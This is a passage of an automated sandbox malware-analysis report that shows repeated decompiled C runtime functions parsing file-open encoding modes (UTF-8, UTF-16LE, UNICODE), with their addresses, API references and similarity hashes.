							E10032420(_t44);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t58 + 0x20)) = _t66;
							 *_t44 = 0x16;
							E10034370(_t46, _t48, _t50, _t52, _t54, _t56, _t60);
							L2:
							_t26 = 0;
						} else {
							_t46 = _t46 + 4;
							_t50 = 0x1009c2d0;
							_t48 = _t46;
							if(E10048F50(_t36, _t41, _t46, _t46, 0x1009c2d0, _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
								_t50 = "UTF-16LE";
								_t48 = _t46;
								if(E10048F50(_t36, _t41, _t46, _t46, "UTF-16LE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
									_t50 = "UNICODE";
									_t48 = _t46;
									if(E10048F50(_t36, _t41, _t46, _t46, "UNICODE", _t52, _t54, _t56, _t60, _t62, _t64, _t66, _t68) != 0) {
										goto L1;
									} else {
										_t46 = _t46 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t46 = _t46 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t46 = _t46 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t26;
			}

0x1003c723
0x1003c723
0x1003c723
0x1003c723
0x1003c723
0x1003c726
0x1003c72d
0x1003c733
0x1003c728
0x1003c728
0x1003c728
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: dfef514f18fce7e177dd0daf8a4d99bbffc5f191dc0f1e05e5fa7f845962d89f
Instruction ID: e094e5a60392bbc046d9783368e4bafbd7742ca21448569dabc404af025199d3
Opcode Fuzzy Hash: dfef514f18fce7e177dd0daf8a4d99bbffc5f191dc0f1e05e5fa7f845962d89f
Instruction Fuzzy Hash: 0221717AA087C58EDB12CF23E804B897BA0F755BC9F545011EE889BB1ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C739 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1003C739(signed int __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t36;
				intOrPtr _t38;
				signed int _t41;
				intOrPtr _t42;
				signed long long _t45;
				long long _t47;
				void* _t53;
				void* _t55;
				long long* _t57;
				void* _t59;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t65;
				long long _t67;
				void* _t69;

				_t67 = __r14;
				_t65 = __r13;
				_t47 = __rbx;
				_t42 = __esi;
				if(r10d == 0) {
					r10d = 1;
					_t41 = __edi | 0x00000020;
				} else {
					_t38 = r14d;
				}
				_t23 =  *((intOrPtr*)(_t47 + 1));
				_t47 = _t47 + 1;
				if(_t23 != 0) {
					if(_t38 == 0) {
						goto L9;
					} else {
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t61 + 0x3c8c4 + _t45 * 4));
							_t49 = _t49 + _t61;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t47 == 0x20) {
							_t47 = _t47 + 1;
						}
						if( *_t47 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t41;
							 *((intOrPtr*)(_t59 + 0x20)) = 0x180;
							if(E10048BC0(_t59 + 0x30, _t65) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t26 =  *((intOrPtr*)(_t59 + 0x30));
								 *((intOrPtr*)(_t57 + 0x18)) = _t42;
								 *((intOrPtr*)(_t57 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t57 + 8)) = r14d;
								 *_t57 = _t67;
								 *((long long*)(_t57 + 0x10)) = _t67;
								 *((long long*)(_t57 + 0x28)) = _t67;
							}
						}
					} else {
						while( *_t47 == 0x20) {
							_t47 = _t47 + 1;
						}
						_t49 = 0x1009c2c8;
						r8d = 4;
						_t51 = _t47;
						if(E10049190(_t36, _t45, _t47, 0x1009c2c8, _t47, _t53, _t55, _t61, _t62, _t63, _t65) != 0) {
							L1:
							E10032420(_t45);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t59 + 0x20)) = _t67;
							 *_t45 = 0x16;
							E10034370(_t47, _t49, _t51, _t53, _t55, _t57, _t61);
							L2:
							_t26 = 0;
						} else {
							_t47 = _t47 + 4;
							_t51 = 0x1009c2d0;
							_t49 = _t47;
							if(E10048F50(_t36, _t42, _t47, _t47, 0x1009c2d0, _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
								_t51 = "UTF-16LE";
								_t49 = _t47;
								if(E10048F50(_t36, _t42, _t47, _t47, "UTF-16LE", _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
									_t51 = "UNICODE";
									_t49 = _t47;
									if(E10048F50(_t36, _t42, _t47, _t47, "UNICODE", _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
										goto L1;
									} else {
										_t47 = _t47 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t47 = _t47 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t47 = _t47 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t26;
			}

0x1003c739
0x1003c739
0x1003c739
0x1003c739
0x1003c73c
0x1003c743
0x1003c749
0x1003c73e
0x1003c73e
0x1003c73e
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: b2e6f1c1aad4b4e5e5dd7d5b0962ee03e6d406dd3a3b2100c11ba6da45cb7bf4
Instruction ID: debe407eb7ad5b47294938e8e88b8037574c8e234c1823a04e01b51e7d2e4dfb
Opcode Fuzzy Hash: b2e6f1c1aad4b4e5e5dd7d5b0962ee03e6d406dd3a3b2100c11ba6da45cb7bf4
Instruction Fuzzy Hash: C921807AA087C58EEB12CF23E844B897BA1F749BC8F545011EE89DB71ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C74E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1003C74E(signed int __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t36;
				intOrPtr _t38;
				signed int _t41;
				intOrPtr _t42;
				signed long long _t45;
				long long _t47;
				void* _t53;
				void* _t55;
				long long* _t57;
				void* _t59;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t65;
				long long _t67;
				void* _t69;

				_t67 = __r14;
				_t65 = __r13;
				_t47 = __rbx;
				_t42 = __esi;
				if(r10d == 0) {
					r10d = 1;
					_t41 = __edi | 0x00000010;
				} else {
					_t38 = r14d;
				}
				_t23 =  *((intOrPtr*)(_t47 + 1));
				_t47 = _t47 + 1;
				if(_t23 != 0) {
					if(_t38 == 0) {
						goto L9;
					} else {
						if(_t23 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t36 =  *((intOrPtr*)(_t61 + 0x3c8c4 + _t45 * 4));
							_t49 = _t49 + _t61;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t47 == 0x20) {
							_t47 = _t47 + 1;
						}
						if( *_t47 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t41;
							 *((intOrPtr*)(_t59 + 0x20)) = 0x180;
							if(E10048BC0(_t59 + 0x30, _t65) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t26 =  *((intOrPtr*)(_t59 + 0x30));
								 *((intOrPtr*)(_t57 + 0x18)) = _t42;
								 *((intOrPtr*)(_t57 + 0x1c)) = _t26;
								 *((intOrPtr*)(_t57 + 8)) = r14d;
								 *_t57 = _t67;
								 *((long long*)(_t57 + 0x10)) = _t67;
								 *((long long*)(_t57 + 0x28)) = _t67;
							}
						}
					} else {
						while( *_t47 == 0x20) {
							_t47 = _t47 + 1;
						}
						_t49 = 0x1009c2c8;
						r8d = 4;
						_t51 = _t47;
						if(E10049190(_t36, _t45, _t47, 0x1009c2c8, _t47, _t53, _t55, _t61, _t62, _t63, _t65) != 0) {
							L1:
							E10032420(_t45);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t59 + 0x20)) = _t67;
							 *_t45 = 0x16;
							E10034370(_t47, _t49, _t51, _t53, _t55, _t57, _t61);
							L2:
							_t26 = 0;
						} else {
							_t47 = _t47 + 4;
							_t51 = 0x1009c2d0;
							_t49 = _t47;
							if(E10048F50(_t36, _t42, _t47, _t47, 0x1009c2d0, _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
								_t51 = "UTF-16LE";
								_t49 = _t47;
								if(E10048F50(_t36, _t42, _t47, _t47, "UTF-16LE", _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
									_t51 = "UNICODE";
									_t49 = _t47;
									if(E10048F50(_t36, _t42, _t47, _t47, "UNICODE", _t53, _t55, _t57, _t61, _t63, _t65, _t67, _t69) != 0) {
										goto L1;
									} else {
										_t47 = _t47 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t47 = _t47 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t47 = _t47 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t26;
			}

0x1003c74e
0x1003c74e
0x1003c74e
0x1003c74e
0x1003c751
0x1003c758
0x1003c75e
0x1003c753
0x1003c753
0x1003c753
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: f66d56304998d08d08543d925d2c2a9f80b4bbf241eaf89aa0ec6b9d696cf73c
Instruction ID: fdf55a9a17a5434de8e0201a68547f5cf10530702bb376e25034b092f33ab280
Opcode Fuzzy Hash: f66d56304998d08d08543d925d2c2a9f80b4bbf241eaf89aa0ec6b9d696cf73c
Instruction Fuzzy Hash: 5521807AA087C58EEB12CF23E804B897BA1F745BC8F545011EE89DB75ADB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C6DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C6DB(signed int __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t40;
				signed int _t42;
				intOrPtr _t43;
				signed long long _t46;
				long long _t48;
				void* _t54;
				void* _t56;
				long long* _t58;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t64;
				void* _t66;
				long long _t68;
				void* _t70;

				_t68 = __r14;
				_t66 = __r13;
				_t48 = __rbx;
				_t43 = __esi;
				_t42 = __edi;
				if((__edi & 0x0000c000) == 0) {
					asm("bts edi, 0xf");
				} else {
					_t40 = r14d;
				}
				_t25 =  *((intOrPtr*)(_t48 + 1));
				_t48 = _t48 + 1;
				if(_t25 != 0) {
					if(_t40 == 0) {
						goto L9;
					} else {
						if(_t25 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t38 =  *((intOrPtr*)(_t62 + 0x3c8c4 + _t46 * 4));
							_t50 = _t50 + _t62;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t48 == 0x20) {
							_t48 = _t48 + 1;
						}
						if( *_t48 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t42;
							 *((intOrPtr*)(_t60 + 0x20)) = 0x180;
							if(E10048BC0(_t60 + 0x30, _t66) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t28 =  *((intOrPtr*)(_t60 + 0x30));
								 *((intOrPtr*)(_t58 + 0x18)) = _t43;
								 *((intOrPtr*)(_t58 + 0x1c)) = _t28;
								 *((intOrPtr*)(_t58 + 8)) = r14d;
								 *_t58 = _t68;
								 *((long long*)(_t58 + 0x10)) = _t68;
								 *((long long*)(_t58 + 0x28)) = _t68;
							}
						}
					} else {
						while( *_t48 == 0x20) {
							_t48 = _t48 + 1;
						}
						_t50 = 0x1009c2c8;
						r8d = 4;
						_t52 = _t48;
						if(E10049190(_t38, _t46, _t48, 0x1009c2c8, _t48, _t54, _t56, _t62, _t63, _t64, _t66) != 0) {
							L1:
							E10032420(_t46);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t60 + 0x20)) = _t68;
							 *_t46 = 0x16;
							E10034370(_t48, _t50, _t52, _t54, _t56, _t58, _t62);
							L2:
							_t28 = 0;
						} else {
							_t48 = _t48 + 4;
							_t52 = 0x1009c2d0;
							_t50 = _t48;
							if(E10048F50(_t38, _t43, _t48, _t48, 0x1009c2d0, _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
								_t52 = "UTF-16LE";
								_t50 = _t48;
								if(E10048F50(_t38, _t43, _t48, _t48, "UTF-16LE", _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
									_t52 = "UNICODE";
									_t50 = _t48;
									if(E10048F50(_t38, _t43, _t48, _t48, "UNICODE", _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
										goto L1;
									} else {
										_t48 = _t48 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t48 = _t48 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t48 = _t48 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t28;
			}

0x1003c6db
0x1003c6db
0x1003c6db
0x1003c6db
0x1003c6db
0x1003c6e1
0x1003c6eb
0x1003c6e3
0x1003c6e3
0x1003c6e3
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: e899ee64ed45c19fdb4ef39f61011debbf5f1f0ab1cf8dce15c18bc77a5c3b38
Instruction ID: 77387a90dd64b1011af474bb05baa37bed450cd380216f61a0ce51da667a9d7d
Opcode Fuzzy Hash: e899ee64ed45c19fdb4ef39f61011debbf5f1f0ab1cf8dce15c18bc77a5c3b38
Instruction Fuzzy Hash: E721B37AA087C48EEB12CF23E800B497BA0F745BC8F145011EE89DB71ADB39C541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1003C6F4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E1003C6F4(signed int __edi, intOrPtr __esi, long long __rbx, void* __r13, long long __r14) {
				intOrPtr _t25;
				intOrPtr _t28;
				intOrPtr _t38;
				intOrPtr _t40;
				signed int _t42;
				intOrPtr _t43;
				signed long long _t46;
				long long _t48;
				void* _t54;
				void* _t56;
				long long* _t58;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t64;
				void* _t66;
				long long _t68;
				void* _t70;

				_t68 = __r14;
				_t66 = __r13;
				_t48 = __rbx;
				_t43 = __esi;
				_t42 = __edi;
				if((__edi & 0x0000c000) == 0) {
					asm("bts edi, 0xe");
				} else {
					_t40 = r14d;
				}
				_t25 =  *((intOrPtr*)(_t48 + 1));
				_t48 = _t48 + 1;
				if(_t25 != 0) {
					if(_t40 == 0) {
						goto L9;
					} else {
						if(_t25 + 0xffffffe0 > 0x54) {
							goto L1;
						} else {
							_t38 =  *((intOrPtr*)(_t62 + 0x3c8c4 + _t46 * 4));
							_t50 = _t50 + _t62;
							goto __rcx;
						}
					}
				} else {
					L9:
					if(r11d == 0) {
						L19:
						while( *_t48 == 0x20) {
							_t48 = _t48 + 1;
						}
						if( *_t48 != r14b) {
							goto L1;
						} else {
							r9d = r12d;
							r8d = _t42;
							 *((intOrPtr*)(_t60 + 0x20)) = 0x180;
							if(E10048BC0(_t60 + 0x30, _t66) != 0) {
								goto L2;
							} else {
								 *0x100b8050 =  *0x100b8050 + 1;
								_t28 =  *((intOrPtr*)(_t60 + 0x30));
								 *((intOrPtr*)(_t58 + 0x18)) = _t43;
								 *((intOrPtr*)(_t58 + 0x1c)) = _t28;
								 *((intOrPtr*)(_t58 + 8)) = r14d;
								 *_t58 = _t68;
								 *((long long*)(_t58 + 0x10)) = _t68;
								 *((long long*)(_t58 + 0x28)) = _t68;
							}
						}
					} else {
						while( *_t48 == 0x20) {
							_t48 = _t48 + 1;
						}
						_t50 = 0x1009c2c8;
						r8d = 4;
						_t52 = _t48;
						if(E10049190(_t38, _t46, _t48, 0x1009c2c8, _t48, _t54, _t56, _t62, _t63, _t64, _t66) != 0) {
							L1:
							E10032420(_t46);
							r9d = 0;
							r8d = 0;
							 *((long long*)(_t60 + 0x20)) = _t68;
							 *_t46 = 0x16;
							E10034370(_t48, _t50, _t52, _t54, _t56, _t58, _t62);
							L2:
							_t28 = 0;
						} else {
							_t48 = _t48 + 4;
							_t52 = 0x1009c2d0;
							_t50 = _t48;
							if(E10048F50(_t38, _t43, _t48, _t48, 0x1009c2d0, _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
								_t52 = "UTF-16LE";
								_t50 = _t48;
								if(E10048F50(_t38, _t43, _t48, _t48, "UTF-16LE", _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
									_t52 = "UNICODE";
									_t50 = _t48;
									if(E10048F50(_t38, _t43, _t48, _t48, "UNICODE", _t54, _t56, _t58, _t62, _t64, _t66, _t68, _t70) != 0) {
										goto L1;
									} else {
										_t48 = _t48 + 7;
										asm("bts edi, 0x10");
										goto L19;
									}
								} else {
									_t48 = _t48 + 8;
									asm("bts edi, 0x11");
									goto L19;
								}
							} else {
								_t48 = _t48 + 5;
								asm("bts edi, 0x12");
								goto L19;
							}
						}
					}
				}
				return _t28;
			}

0x1003c6f4
0x1003c6f4
0x1003c6f4
0x1003c6f4
0x1003c6f4
0x1003c6fa
0x1003c704
0x1003c6fc
0x1003c6fc
0x1003c6fc
0x1003c793
0x1003c796
0x1003c79c
0x1003c692
0x00000000
0x1003c698
0x1003c6a1
0x00000000
0x1003c6a3
0x1003c6ae
0x1003c6b6
0x1003c6b9
0x1003c6b9
0x1003c6a1
0x1003c7a2
0x1003c7a2
0x1003c7a5
0x1003c833
0x1003c836
0x1003c840
0x1003c844
0x1003c84c
0x00000000
0x1003c852
0x1003c857
0x1003c85a
0x1003c860
0x1003c86f
0x00000000
0x1003c875
0x1003c875
0x1003c87c
0x1003c880
0x1003c883
0x1003c886
0x1003c88a
0x1003c891
0x1003c895
0x1003c895
0x1003c86f
0x1003c7ab
0x1003c7ae
0x1003c7b0
0x1003c7b4
0x1003c7b9
0x1003c7c0
0x1003c7c6
0x1003c7d0
0x1003c631
0x1003c631
0x1003c636
0x1003c639
0x1003c640
0x1003c645
0x1003c64b
0x1003c650
0x1003c650
0x1003c7d6
0x1003c7d6
0x1003c7da
0x1003c7e1
0x1003c7eb
0x1003c7f7
0x1003c7fe
0x1003c808
0x1003c814
0x1003c81b
0x1003c825
0x00000000
0x1003c82b
0x1003c82b
0x1003c82f
0x00000000
0x1003c82f
0x1003c80a
0x1003c80a
0x1003c80e
0x00000000
0x1003c80e
0x1003c7ed
0x1003c7ed
0x1003c7f1
0x00000000
0x1003c7f1
0x1003c7eb
0x1003c7d0
0x1003c7a5
0x1003c8c0

APIs

_wsopen_s.LIBCMT ref: 1003C868

Strings

ccs=, xrefs: 1003C7B9
UTF-8, xrefs: 1003C7DA

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: d62a02e10d71b8eabe632a996681d9723a28739426ff443ddf45bf1e60cec244
Instruction ID: 7c5030b8660b09e04927cf3310184846df6b32cdf07ef1f91bbdf8a57f578ba7
Opcode Fuzzy Hash: d62a02e10d71b8eabe632a996681d9723a28739426ff443ddf45bf1e60cec244
Instruction Fuzzy Hash: CE21837AA087C58EEB12CF23E804B897BA1F745BC9F145011EE89D7719DB79C541CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1003C763 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

